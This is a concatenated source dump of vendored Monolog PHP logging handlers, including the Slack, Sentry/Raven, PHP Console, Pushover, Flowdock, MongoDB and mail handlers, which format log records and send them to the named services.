'danger'; const COLOR_WARNING = 'warning'; const COLOR_GOOD = 'good'; const COLOR_DEFAULT = '#e3e4e6'; /** * Slack channel (encoded ID or name) * @var string|null */ private $channel; /** * Name of a bot * @var string|null */ private $username; /** * User icon e.g. 'ghost', 'http://example.com/user.png' * @var string */ private $userIcon; /** * Whether the message should be added to Slack as attachment (plain text otherwise) * @var bool */ private $useAttachment; /** * Whether the the context/extra messages added to Slack as attachments are in a short style * @var bool */ private $useShortAttachment; /** * Whether the attachment should include context and extra data * @var bool */ private $includeContextAndExtra; /** * Dot separated list of fields to exclude from slack message. E.g. ['context.field1', 'extra.field2'] * @var array */ private $excludeFields; /** * @var FormatterInterface */ private $formatter; /** * @var NormalizerFormatter */ private $normalizerFormatter; public function __construct($channel = null, $username = null, $useAttachment = \true, $userIcon = null, $useShortAttachment = \false, $includeContextAndExtra = \false, array $excludeFields = array(), FormatterInterface $formatter = null) { $this->channel = $channel; $this->username = $username; $this->userIcon = \trim($userIcon, ':'); $this->useAttachment = $useAttachment; $this->useShortAttachment = $useShortAttachment; $this->includeContextAndExtra = $includeContextAndExtra; $this->excludeFields = $excludeFields; $this->formatter = $formatter; if ($this->includeContextAndExtra) { $this->normalizerFormatter = new NormalizerFormatter(); } } public function getSlackData(array $record) { $dataArray = array(); $record = $this->excludeFields($record); if ($this->username) { $dataArray['username'] = $this->username; } if ($this->channel) { $dataArray['channel'] = $this->channel; } if ($this->formatter && !$this->useAttachment) { $message = $this->formatter->format($record); } else { $message = $record['message']; } if ($this->useAttachment) { $attachment = array('fallback' => $message, 'text' => $message, 'color' => $this->getAttachmentColor($record['level']), 'fields' => array(), 'mrkdwn_in' => array('fields'), 'ts' => $record['datetime']->getTimestamp()); if ($this->useShortAttachment) { $attachment['title'] = $record['level_name']; } else { $attachment['title'] = 'Message'; $attachment['fields'][] = $this->generateAttachmentField('Level', $record['level_name']); } if ($this->includeContextAndExtra) { foreach (array('extra', 'context') as $key) { if (empty($record[$key])) { continue; } if ($this->useShortAttachment) { $attachment['fields'][] = $this->generateAttachmentField($key, $record[$key]); } else { // Add all extra fields as individual fields in attachment $attachment['fields'] = \array_merge($attachment['fields'], $this->generateAttachmentFields($record[$key])); } } } $dataArray['attachments'] = array($attachment); } else { $dataArray['text'] = $message; } if ($this->userIcon) { if (\filter_var($this->userIcon, \FILTER_VALIDATE_URL)) { $dataArray['icon_url'] = $this->userIcon; } else { $dataArray['icon_emoji'] = ":{$this->userIcon}:"; } } return $dataArray; } /** * Returned a Slack message attachment color associated with * provided level. * * @param int $level * @return string */ public function getAttachmentColor($level) { switch (\true) { case $level >= Logger::ERROR: return self::COLOR_DANGER; case $level >= Logger::WARNING: return self::COLOR_WARNING; case $level >= Logger::INFO: return self::COLOR_GOOD; default: return self::COLOR_DEFAULT; } } /** * Stringifies an array of key/value pairs to be used in attachment fields * * @param array $fields * * @return string */ public function stringify($fields) { $normalized = $this->normalizerFormatter->format($fields); $prettyPrintFlag = \defined('JSON_PRETTY_PRINT') ? \JSON_PRETTY_PRINT : 128; $flags = 0; if (\PHP_VERSION_ID >= 50400) { $flags = \JSON_UNESCAPED_SLASHES | \JSON_UNESCAPED_UNICODE; } $hasSecondDimension = \count(\array_filter($normalized, 'is_array')); $hasNonNumericKeys = !\count(\array_filter(\array_keys($normalized), 'is_numeric')); return $hasSecondDimension || $hasNonNumericKeys ? Utils::jsonEncode($normalized, $prettyPrintFlag | $flags) : Utils::jsonEncode($normalized, $flags); } /** * Sets the formatter * * @param FormatterInterface $formatter */ public function setFormatter(FormatterInterface $formatter) { $this->formatter = $formatter; } /** * Generates attachment field * * @param string $title * @param string|array $value * * @return array */ private function generateAttachmentField($title, $value) { $value = \is_array($value) ? \sprintf('```%s```', $this->stringify($value)) : $value; return array('title' => \ucfirst($title), 'value' => $value, 'short' => \false); } /** * Generates a collection of attachment fields from array * * @param array $data * * @return array */ private function generateAttachmentFields(array $data) { $fields = array(); foreach ($this->normalizerFormatter->format($data) as $key => $value) { $fields[] = $this->generateAttachmentField($key, $value); } return $fields; } /** * Get a copy of record with fields excluded according to $this->excludeFields * * @param array $record * * @return array */ private function excludeFields(array $record) { foreach ($this->excludeFields as $field) { $keys = \explode('.', $field); $node =& $record; $lastKey = \end($keys); foreach ($keys as $key) { if (!isset($node[$key])) { break; } if ($lastKey === $key) { unset($node[$key]); break; } $node =& $node[$key]; } } return $record; } } monolog/monolog/src/Monolog/Handler/RavenHandler.php000066600000016315151733766740016565 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Formatter\LineFormatter; use AIOSEO\Vendor\Monolog\Formatter\FormatterInterface; use AIOSEO\Vendor\Monolog\Logger; use AIOSEO\Vendor\Raven_Client; /** * Handler to send messages to a Sentry (https://github.com/getsentry/sentry) server * using sentry-php (https://github.com/getsentry/sentry-php) * * @author Marc Abramowitz */ class RavenHandler extends AbstractProcessingHandler { /** * Translates Monolog log levels to Raven log levels. */ protected $logLevels = array(Logger::DEBUG => Raven_Client::DEBUG, Logger::INFO => Raven_Client::INFO, Logger::NOTICE => Raven_Client::INFO, Logger::WARNING => Raven_Client::WARNING, Logger::ERROR => Raven_Client::ERROR, Logger::CRITICAL => Raven_Client::FATAL, Logger::ALERT => Raven_Client::FATAL, Logger::EMERGENCY => Raven_Client::FATAL); /** * @var string should represent the current version of the calling * software. Can be any string (git commit, version number) */ protected $release; /** * @var Raven_Client the client object that sends the message to the server */ protected $ravenClient; /** * @var FormatterInterface The formatter to use for the logs generated via handleBatch() */ protected $batchFormatter; /** * @param Raven_Client $ravenClient * @param int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct(Raven_Client $ravenClient, $level = Logger::DEBUG, $bubble = \true) { @\trigger_error('The Monolog\\Handler\\RavenHandler class is deprecated. You should rather upgrade to the sentry/sentry 2.x and use Sentry\\Monolog\\Handler, see https://github.com/getsentry/sentry-php/blob/master/src/Monolog/Handler.php', \E_USER_DEPRECATED); parent::__construct($level, $bubble); $this->ravenClient = $ravenClient; } /** * {@inheritdoc} */ public function handleBatch(array $records) { $level = $this->level; // filter records based on their level $records = \array_filter($records, function ($record) use($level) { return $record['level'] >= $level; }); if (!$records) { return; } // the record with the highest severity is the "main" one $record = \array_reduce($records, function ($highest, $record) { if (null === $highest || $record['level'] > $highest['level']) { return $record; } return $highest; }); // the other ones are added as a context item $logs = array(); foreach ($records as $r) { $logs[] = $this->processRecord($r); } if ($logs) { $record['context']['logs'] = (string) $this->getBatchFormatter()->formatBatch($logs); } $this->handle($record); } /** * Sets the formatter for the logs generated by handleBatch(). * * @param FormatterInterface $formatter */ public function setBatchFormatter(FormatterInterface $formatter) { $this->batchFormatter = $formatter; } /** * Gets the formatter for the logs generated by handleBatch(). * * @return FormatterInterface */ public function getBatchFormatter() { if (!$this->batchFormatter) { $this->batchFormatter = $this->getDefaultBatchFormatter(); } return $this->batchFormatter; } /** * {@inheritdoc} */ protected function write(array $record) { $previousUserContext = \false; $options = array(); $options['level'] = $this->logLevels[$record['level']]; $options['tags'] = array(); if (!empty($record['extra']['tags'])) { $options['tags'] = \array_merge($options['tags'], $record['extra']['tags']); unset($record['extra']['tags']); } if (!empty($record['context']['tags'])) { $options['tags'] = \array_merge($options['tags'], $record['context']['tags']); unset($record['context']['tags']); } if (!empty($record['context']['fingerprint'])) { $options['fingerprint'] = $record['context']['fingerprint']; unset($record['context']['fingerprint']); } if (!empty($record['context']['logger'])) { $options['logger'] = $record['context']['logger']; unset($record['context']['logger']); } else { $options['logger'] = $record['channel']; } foreach ($this->getExtraParameters() as $key) { foreach (array('extra', 'context') as $source) { if (!empty($record[$source][$key])) { $options[$key] = $record[$source][$key]; unset($record[$source][$key]); } } } if (!empty($record['context'])) { $options['extra']['context'] = $record['context']; if (!empty($record['context']['user'])) { $previousUserContext = $this->ravenClient->context->user; $this->ravenClient->user_context($record['context']['user']); unset($options['extra']['context']['user']); } } if (!empty($record['extra'])) { $options['extra']['extra'] = $record['extra']; } if (!empty($this->release) && !isset($options['release'])) { $options['release'] = $this->release; } if (isset($record['context']['exception']) && ($record['context']['exception'] instanceof \Exception || \PHP_VERSION_ID >= 70000 && $record['context']['exception'] instanceof \Throwable)) { $options['message'] = $record['formatted']; $this->ravenClient->captureException($record['context']['exception'], $options); } else { $this->ravenClient->captureMessage($record['formatted'], array(), $options); } if ($previousUserContext !== \false) { $this->ravenClient->user_context($previousUserContext); } } /** * {@inheritDoc} */ protected function getDefaultFormatter() { return new LineFormatter('[%channel%] %message%'); } /** * Gets the default formatter for the logs generated by handleBatch(). * * @return FormatterInterface */ protected function getDefaultBatchFormatter() { return new LineFormatter(); } /** * Gets extra parameters supported by Raven that can be found in "extra" and "context" * * @return array */ protected function getExtraParameters() { return array('contexts', 'checksum', 'release', 'event_id'); } /** * @param string $value * @return self */ public function setRelease($value) { $this->release = $value; return $this; } } monolog/monolog/src/Monolog/Handler/HandlerWrapper.php000066600000004533151733766740017131 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\ResettableInterface; use AIOSEO\Vendor\Monolog\Formatter\FormatterInterface; /** * This simple wrapper class can be used to extend handlers functionality. * * Example: A custom filtering that can be applied to any handler. * * Inherit from this class and override handle() like this: * * public function handle(array $record) * { * if ($record meets certain conditions) { * return false; * } * return $this->handler->handle($record); * } * * @author Alexey Karapetov */ class HandlerWrapper implements HandlerInterface, ResettableInterface { /** * @var HandlerInterface */ protected $handler; /** * HandlerWrapper constructor. * @param HandlerInterface $handler */ public function __construct(HandlerInterface $handler) { $this->handler = $handler; } /** * {@inheritdoc} */ public function isHandling(array $record) { return $this->handler->isHandling($record); } /** * {@inheritdoc} */ public function handle(array $record) { return $this->handler->handle($record); } /** * {@inheritdoc} */ public function handleBatch(array $records) { return $this->handler->handleBatch($records); } /** * {@inheritdoc} */ public function pushProcessor($callback) { $this->handler->pushProcessor($callback); return $this; } /** * {@inheritdoc} */ public function popProcessor() { return $this->handler->popProcessor(); } /** * {@inheritdoc} */ public function setFormatter(FormatterInterface $formatter) { $this->handler->setFormatter($formatter); return $this; } /** * {@inheritdoc} */ public function getFormatter() { return $this->handler->getFormatter(); } public function reset() { if ($this->handler instanceof ResettableInterface) { return $this->handler->reset(); } } } monolog/monolog/src/Monolog/Handler/FormattableHandlerInterface.php000066600000001667151733766740021577 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Formatter\FormatterInterface; /** * Interface to describe loggers that have a formatter * * This interface is present in monolog 1.x to ease forward compatibility. * * @author Jordi Boggiano */ interface FormattableHandlerInterface { /** * Sets the formatter. * * @param FormatterInterface $formatter * @return HandlerInterface self */ public function setFormatter(FormatterInterface $formatter) : HandlerInterface; /** * Gets the formatter. * * @return FormatterInterface */ public function getFormatter() : FormatterInterface; } monolog/monolog/src/Monolog/Handler/PHPConsoleHandler.php000066600000023634151733766740017466 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use Exception; use AIOSEO\Vendor\Monolog\Formatter\LineFormatter; use AIOSEO\Vendor\Monolog\Logger; use AIOSEO\Vendor\Monolog\Utils; use AIOSEO\Vendor\PhpConsole\Connector; use AIOSEO\Vendor\PhpConsole\Handler; use AIOSEO\Vendor\PhpConsole\Helper; /** * Monolog handler for Google Chrome extension "PHP Console" * * Display PHP error/debug log messages in Google Chrome console and notification popups, executes PHP code remotely * * Usage: * 1. Install Google Chrome extension https://chrome.google.com/webstore/detail/php-console/nfhmhhlpfleoednkpnnnkolmclajemef * 2. See overview https://github.com/barbushin/php-console#overview * 3. Install PHP Console library https://github.com/barbushin/php-console#installation * 4. Example (result will looks like http://i.hizliresim.com/vg3Pz4.png) * * $logger = new \Monolog\Logger('all', array(new \Monolog\Handler\PHPConsoleHandler())); * \Monolog\ErrorHandler::register($logger); * echo $undefinedVar; * $logger->addDebug('SELECT * FROM users', array('db', 'time' => 0.012)); * PC::debug($_SERVER); // PHP Console debugger for any type of vars * * @author Sergey Barbushin https://www.linkedin.com/in/barbushin */ class PHPConsoleHandler extends AbstractProcessingHandler { private $options = array( 'enabled' => \true, // bool Is PHP Console server enabled 'classesPartialsTraceIgnore' => array('AIOSEO\\Vendor\\Monolog\\'), // array Hide calls of classes started with... 'debugTagsKeysInContext' => array(0, 'tag'), // bool Is PHP Console server enabled 'useOwnErrorsHandler' => \false, // bool Enable errors handling 'useOwnExceptionsHandler' => \false, // bool Enable exceptions handling 'sourcesBasePath' => null, // string Base path of all project sources to strip in errors source paths 'registerHelper' => \true, // bool Register PhpConsole\Helper that allows short debug calls like PC::debug($var, 'ta.g.s') 'serverEncoding' => null, // string|null Server internal encoding 'headersLimit' => null, // int|null Set headers size limit for your web-server 'password' => null, // string|null Protect PHP Console connection by password 'enableSslOnlyMode' => \false, // bool Force connection by SSL for clients with PHP Console installed 'ipMasks' => array(), // array Set IP masks of clients that will be allowed to connect to PHP Console: array('192.168.*.*', '127.0.0.1') 'enableEvalListener' => \false, // bool Enable eval request to be handled by eval dispatcher(if enabled, 'password' option is also required) 'dumperDetectCallbacks' => \false, // bool Convert callback items in dumper vars to (callback SomeClass::someMethod) strings 'dumperLevelLimit' => 5, // int Maximum dumped vars array or object nested dump level 'dumperItemsCountLimit' => 100, // int Maximum dumped var same level array items or object properties number 'dumperItemSizeLimit' => 5000, // int Maximum length of any string or dumped array item 'dumperDumpSizeLimit' => 500000, // int Maximum approximate size of dumped vars result formatted in JSON 'detectDumpTraceAndSource' => \false, // bool Autodetect and append trace data to debug 'dataStorage' => null, ); /** @var Connector */ private $connector; /** * @param array $options See \Monolog\Handler\PHPConsoleHandler::$options for more details * @param Connector|null $connector Instance of \PhpConsole\Connector class (optional) * @param int $level * @param bool $bubble * @throws Exception */ public function __construct(array $options = array(), Connector $connector = null, $level = Logger::DEBUG, $bubble = \true) { if (!\class_exists('AIOSEO\\Vendor\\PhpConsole\\Connector')) { throw new Exception('PHP Console library not found. See https://github.com/barbushin/php-console#installation'); } parent::__construct($level, $bubble); $this->options = $this->initOptions($options); $this->connector = $this->initConnector($connector); } private function initOptions(array $options) { $wrongOptions = \array_diff(\array_keys($options), \array_keys($this->options)); if ($wrongOptions) { throw new Exception('Unknown options: ' . \implode(', ', $wrongOptions)); } return \array_replace($this->options, $options); } private function initConnector(Connector $connector = null) { if (!$connector) { if ($this->options['dataStorage']) { Connector::setPostponeStorage($this->options['dataStorage']); } $connector = Connector::getInstance(); } if ($this->options['registerHelper'] && !Helper::isRegistered()) { Helper::register(); } if ($this->options['enabled'] && $connector->isActiveClient()) { if ($this->options['useOwnErrorsHandler'] || $this->options['useOwnExceptionsHandler']) { $handler = Handler::getInstance(); $handler->setHandleErrors($this->options['useOwnErrorsHandler']); $handler->setHandleExceptions($this->options['useOwnExceptionsHandler']); $handler->start(); } if ($this->options['sourcesBasePath']) { $connector->setSourcesBasePath($this->options['sourcesBasePath']); } if ($this->options['serverEncoding']) { $connector->setServerEncoding($this->options['serverEncoding']); } if ($this->options['password']) { $connector->setPassword($this->options['password']); } if ($this->options['enableSslOnlyMode']) { $connector->enableSslOnlyMode(); } if ($this->options['ipMasks']) { $connector->setAllowedIpMasks($this->options['ipMasks']); } if ($this->options['headersLimit']) { $connector->setHeadersLimit($this->options['headersLimit']); } if ($this->options['detectDumpTraceAndSource']) { $connector->getDebugDispatcher()->detectTraceAndSource = \true; } $dumper = $connector->getDumper(); $dumper->levelLimit = $this->options['dumperLevelLimit']; $dumper->itemsCountLimit = $this->options['dumperItemsCountLimit']; $dumper->itemSizeLimit = $this->options['dumperItemSizeLimit']; $dumper->dumpSizeLimit = $this->options['dumperDumpSizeLimit']; $dumper->detectCallbacks = $this->options['dumperDetectCallbacks']; if ($this->options['enableEvalListener']) { $connector->startEvalRequestsListener(); } } return $connector; } public function getConnector() { return $this->connector; } public function getOptions() { return $this->options; } public function handle(array $record) { if ($this->options['enabled'] && $this->connector->isActiveClient()) { return parent::handle($record); } return !$this->bubble; } /** * Writes the record down to the log of the implementing handler * * @param array $record * @return void */ protected function write(array $record) { if ($record['level'] < Logger::NOTICE) { $this->handleDebugRecord($record); } elseif (isset($record['context']['exception']) && $record['context']['exception'] instanceof Exception) { $this->handleExceptionRecord($record); } else { $this->handleErrorRecord($record); } } private function handleDebugRecord(array $record) { $tags = $this->getRecordTags($record); $message = $record['message']; if ($record['context']) { $message .= ' ' . Utils::jsonEncode($this->connector->getDumper()->dump(\array_filter($record['context'])), null, \true); } $this->connector->getDebugDispatcher()->dispatchDebug($message, $tags, $this->options['classesPartialsTraceIgnore']); } private function handleExceptionRecord(array $record) { $this->connector->getErrorsDispatcher()->dispatchException($record['context']['exception']); } private function handleErrorRecord(array $record) { $context = $record['context']; $this->connector->getErrorsDispatcher()->dispatchError(isset($context['code']) ? $context['code'] : null, isset($context['message']) ? $context['message'] : $record['message'], isset($context['file']) ? $context['file'] : null, isset($context['line']) ? $context['line'] : null, $this->options['classesPartialsTraceIgnore']); } private function getRecordTags(array &$record) { $tags = null; if (!empty($record['context'])) { $context =& $record['context']; foreach ($this->options['debugTagsKeysInContext'] as $key) { if (!empty($context[$key])) { $tags = $context[$key]; if ($key === 0) { \array_shift($context); } else { unset($context[$key]); } break; } } } return $tags ?: \strtolower($record['level_name']); } /** * {@inheritDoc} */ protected function getDefaultFormatter() { return new LineFormatter('%message%'); } } monolog/monolog/src/Monolog/Handler/SamplingHandler.php000066600000006356151733766740017270 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Formatter\FormatterInterface; /** * Sampling handler * * A sampled event stream can be useful for logging high frequency events in * a production environment where you only need an idea of what is happening * and are not concerned with capturing every occurrence. Since the decision to * handle or not handle a particular event is determined randomly, the * resulting sampled log is not guaranteed to contain 1/N of the events that * occurred in the application, but based on the Law of large numbers, it will * tend to be close to this ratio with a large number of attempts. * * @author Bryan Davis * @author Kunal Mehta */ class SamplingHandler extends AbstractHandler { /** * @var callable|HandlerInterface $handler */ protected $handler; /** * @var int $factor */ protected $factor; /** * @param callable|HandlerInterface $handler Handler or factory callable($record|null, $samplingHandler). * @param int $factor Sample factor */ public function __construct($handler, $factor) { parent::__construct(); $this->handler = $handler; $this->factor = $factor; if (!$this->handler instanceof HandlerInterface && !\is_callable($this->handler)) { throw new \RuntimeException("The given handler (" . \json_encode($this->handler) . ") is not a callable nor a Monolog\\Handler\\HandlerInterface object"); } } public function isHandling(array $record) { return $this->getHandler($record)->isHandling($record); } public function handle(array $record) { if ($this->isHandling($record) && \mt_rand(1, $this->factor) === 1) { if ($this->processors) { foreach ($this->processors as $processor) { $record = \call_user_func($processor, $record); } } $this->getHandler($record)->handle($record); } return \false === $this->bubble; } /** * Return the nested handler * * If the handler was provided as a factory callable, this will trigger the handler's instantiation. * * @return HandlerInterface */ public function getHandler(array $record = null) { if (!$this->handler instanceof HandlerInterface) { $this->handler = \call_user_func($this->handler, $record, $this); if (!$this->handler instanceof HandlerInterface) { throw new \RuntimeException("The factory callable should return a HandlerInterface"); } } return $this->handler; } /** * {@inheritdoc} */ public function setFormatter(FormatterInterface $formatter) { $this->getHandler()->setFormatter($formatter); return $this; } /** * {@inheritdoc} */ public function getFormatter() { return $this->getHandler()->getFormatter(); } } monolog/monolog/src/Monolog/Handler/MongoDBHandler.php000066600000003207151733766740016773 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Logger; use AIOSEO\Vendor\Monolog\Formatter\NormalizerFormatter; /** * Logs to a MongoDB database. * * usage example: * * $log = new Logger('application'); * $mongodb = new MongoDBHandler(new \Mongo("mongodb://localhost:27017"), "logs", "prod"); * $log->pushHandler($mongodb); * * @author Thomas Tourlourat */ class MongoDBHandler extends AbstractProcessingHandler { protected $mongoCollection; public function __construct($mongo, $database, $collection, $level = Logger::DEBUG, $bubble = \true) { if (!($mongo instanceof \MongoClient || $mongo instanceof \Mongo || $mongo instanceof \AIOSEO\Vendor\MongoDB\Client)) { throw new \InvalidArgumentException('MongoClient, Mongo or MongoDB\\Client instance required'); } $this->mongoCollection = $mongo->selectCollection($database, $collection); parent::__construct($level, $bubble); } protected function write(array $record) { if ($this->mongoCollection instanceof \AIOSEO\Vendor\MongoDB\Collection) { $this->mongoCollection->insertOne($record["formatted"]); } else { $this->mongoCollection->save($record["formatted"]); } } /** * {@inheritDoc} */ protected function getDefaultFormatter() { return new NormalizerFormatter(); } } monolog/monolog/src/Monolog/Handler/PushoverHandler.php000066600000014446151733766740017330 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Logger; /** * Sends notifications through the pushover api to mobile phones * * @author Sebastian Göttschkes * @see https://www.pushover.net/api */ class PushoverHandler extends SocketHandler { private $token; private $users; private $title; private $user; private $retry; private $expire; private $highPriorityLevel; private $emergencyLevel; private $useFormattedMessage = \false; /** * All parameters that can be sent to Pushover * @see https://pushover.net/api * @var array */ private $parameterNames = array('token' => \true, 'user' => \true, 'message' => \true, 'device' => \true, 'title' => \true, 'url' => \true, 'url_title' => \true, 'priority' => \true, 'timestamp' => \true, 'sound' => \true, 'retry' => \true, 'expire' => \true, 'callback' => \true); /** * Sounds the api supports by default * @see https://pushover.net/api#sounds * @var array */ private $sounds = array('pushover', 'bike', 'bugle', 'cashregister', 'classical', 'cosmic', 'falling', 'gamelan', 'incoming', 'intermission', 'magic', 'mechanical', 'pianobar', 'siren', 'spacealarm', 'tugboat', 'alien', 'climb', 'persistent', 'echo', 'updown', 'none'); /** * @param string $token Pushover api token * @param string|array $users Pushover user id or array of ids the message will be sent to * @param string $title Title sent to the Pushover API * @param int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not * @param bool $useSSL Whether to connect via SSL. Required when pushing messages to users that are not * the pushover.net app owner. OpenSSL is required for this option. * @param int $highPriorityLevel The minimum logging level at which this handler will start * sending "high priority" requests to the Pushover API * @param int $emergencyLevel The minimum logging level at which this handler will start * sending "emergency" requests to the Pushover API * @param int $retry The retry parameter specifies how often (in seconds) the Pushover servers will send the same notification to the user. * @param int $expire The expire parameter specifies how many seconds your notification will continue to be retried for (every retry seconds). */ public function __construct($token, $users, $title = null, $level = Logger::CRITICAL, $bubble = \true, $useSSL = \true, $highPriorityLevel = Logger::CRITICAL, $emergencyLevel = Logger::EMERGENCY, $retry = 30, $expire = 25200) { $connectionString = $useSSL ? 'ssl://api.pushover.net:443' : 'api.pushover.net:80'; parent::__construct($connectionString, $level, $bubble); $this->token = $token; $this->users = (array) $users; $this->title = $title ?: \gethostname(); $this->highPriorityLevel = Logger::toMonologLevel($highPriorityLevel); $this->emergencyLevel = Logger::toMonologLevel($emergencyLevel); $this->retry = $retry; $this->expire = $expire; } protected function generateDataStream($record) { $content = $this->buildContent($record); return $this->buildHeader($content) . $content; } private function buildContent($record) { // Pushover has a limit of 512 characters on title and message combined. $maxMessageLength = 512 - \strlen($this->title); $message = $this->useFormattedMessage ? $record['formatted'] : $record['message']; $message = \substr($message, 0, $maxMessageLength); $timestamp = $record['datetime']->getTimestamp(); $dataArray = array('token' => $this->token, 'user' => $this->user, 'message' => $message, 'title' => $this->title, 'timestamp' => $timestamp); if (isset($record['level']) && $record['level'] >= $this->emergencyLevel) { $dataArray['priority'] = 2; $dataArray['retry'] = $this->retry; $dataArray['expire'] = $this->expire; } elseif (isset($record['level']) && $record['level'] >= $this->highPriorityLevel) { $dataArray['priority'] = 1; } // First determine the available parameters $context = \array_intersect_key($record['context'], $this->parameterNames); $extra = \array_intersect_key($record['extra'], $this->parameterNames); // Least important info should be merged with subsequent info $dataArray = \array_merge($extra, $context, $dataArray); // Only pass sounds that are supported by the API if (isset($dataArray['sound']) && !\in_array($dataArray['sound'], $this->sounds)) { unset($dataArray['sound']); } return \http_build_query($dataArray); } private function buildHeader($content) { $header = "POST /1/messages.json HTTP/1.1\r\n"; $header .= "Host: api.pushover.net\r\n"; $header .= "Content-Type: application/x-www-form-urlencoded\r\n"; $header .= "Content-Length: " . \strlen($content) . "\r\n"; $header .= "\r\n"; return $header; } protected function write(array $record) { foreach ($this->users as $user) { $this->user = $user; parent::write($record); $this->closeSocket(); } $this->user = null; } public function setHighPriorityLevel($value) { $this->highPriorityLevel = $value; } public function setEmergencyLevel($value) { $this->emergencyLevel = $value; } /** * Use the formatted message? * @param bool $value */ public function useFormattedMessage($value) { $this->useFormattedMessage = (bool) $value; } } monolog/monolog/src/Monolog/Handler/ProcessableHandlerTrait.php000066600000003131151733766740020750 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\ResettableInterface; /** * Helper trait for implementing ProcessableInterface * * This trait is present in monolog 1.x to ease forward compatibility. * * @author Jordi Boggiano */ trait ProcessableHandlerTrait { /** * @var callable[] */ protected $processors = []; /** * {@inheritdoc} * @suppress PhanTypeMismatchReturn */ public function pushProcessor($callback) : HandlerInterface { \array_unshift($this->processors, $callback); return $this; } /** * {@inheritdoc} */ public function popProcessor() : callable { if (!$this->processors) { throw new \LogicException('You tried to pop from an empty processor stack.'); } return \array_shift($this->processors); } /** * Processes a record. */ protected function processRecord(array $record) : array { foreach ($this->processors as $processor) { $record = $processor($record); } return $record; } protected function resetProcessors() : void { foreach ($this->processors as $processor) { if ($processor instanceof ResettableInterface) { $processor->reset(); } } } } monolog/monolog/src/Monolog/Handler/FlowdockHandler.php000066600000006565151733766740017270 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Logger; use AIOSEO\Vendor\Monolog\Utils; use AIOSEO\Vendor\Monolog\Formatter\FlowdockFormatter; use AIOSEO\Vendor\Monolog\Formatter\FormatterInterface; /** * Sends notifications through the Flowdock push API * * This must be configured with a FlowdockFormatter instance via setFormatter() * * Notes: * API token - Flowdock API token * * @author Dominik Liebler * @see https://www.flowdock.com/api/push */ class FlowdockHandler extends SocketHandler { /** * @var string */ protected $apiToken; /** * @param string $apiToken * @param bool|int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not * * @throws MissingExtensionException if OpenSSL is missing */ public function __construct($apiToken, $level = Logger::DEBUG, $bubble = \true) { if (!\extension_loaded('openssl')) { throw new MissingExtensionException('The OpenSSL PHP extension is required to use the FlowdockHandler'); } parent::__construct('ssl://api.flowdock.com:443', $level, $bubble); $this->apiToken = $apiToken; } /** * {@inheritdoc} */ public function setFormatter(FormatterInterface $formatter) { if (!$formatter instanceof FlowdockFormatter) { throw new \InvalidArgumentException('The FlowdockHandler requires an instance of Monolog\\Formatter\\FlowdockFormatter to function correctly'); } return parent::setFormatter($formatter); } /** * Gets the default formatter. * * @return FormatterInterface */ protected function getDefaultFormatter() { throw new \InvalidArgumentException('The FlowdockHandler must be configured (via setFormatter) with an instance of Monolog\\Formatter\\FlowdockFormatter to function correctly'); } /** * {@inheritdoc} * * @param array $record */ protected function write(array $record) { parent::write($record); $this->closeSocket(); } /** * {@inheritdoc} * * @param array $record * @return string */ protected function generateDataStream($record) { $content = $this->buildContent($record); return $this->buildHeader($content) . $content; } /** * Builds the body of API call * * @param array $record * @return string */ private function buildContent($record) { return Utils::jsonEncode($record['formatted']['flowdock']); } /** * Builds the header of the API Call * * @param string $content * @return string */ private function buildHeader($content) { $header = "POST /v1/messages/team_inbox/" . $this->apiToken . " HTTP/1.1\r\n"; $header .= "Host: api.flowdock.com\r\n"; $header .= "Content-Type: application/json\r\n"; $header .= "Content-Length: " . \strlen($content) . "\r\n"; $header .= "\r\n"; return $header; } } monolog/monolog/src/Monolog/Handler/MailHandler.php000066600000003135151733766740016370 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; /** * Base class for all mail handlers * * @author Gyula Sallai */ abstract class MailHandler extends AbstractProcessingHandler { /** * {@inheritdoc} */ public function handleBatch(array $records) { $messages = array(); foreach ($records as $record) { if ($record['level'] < $this->level) { continue; } $messages[] = $this->processRecord($record); } if (!empty($messages)) { $this->send((string) $this->getFormatter()->formatBatch($messages), $messages); } } /** * Send a mail with the given content * * @param string $content formatted email body to be sent * @param array $records the array of log records that formed this content */ protected abstract function send($content, array $records); /** * {@inheritdoc} */ protected function write(array $record) { $this->send((string) $record['formatted'], array($record)); } protected function getHighestRecord(array $records) { $highestRecord = null; foreach ($records as $record) { if ($highestRecord === null || $highestRecord['level'] < $record['level']) { $highestRecord = $record; } } return $highestRecord; } } monolog/monolog/src/Monolog/Handler/AbstractHandler.php000066600000010537151733766740017255 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Formatter\FormatterInterface; use AIOSEO\Vendor\Monolog\Formatter\LineFormatter; use AIOSEO\Vendor\Monolog\Logger; use AIOSEO\Vendor\Monolog\ResettableInterface; /** * Base Handler class providing the Handler structure * * @author Jordi Boggiano */ abstract class AbstractHandler implements HandlerInterface, ResettableInterface { 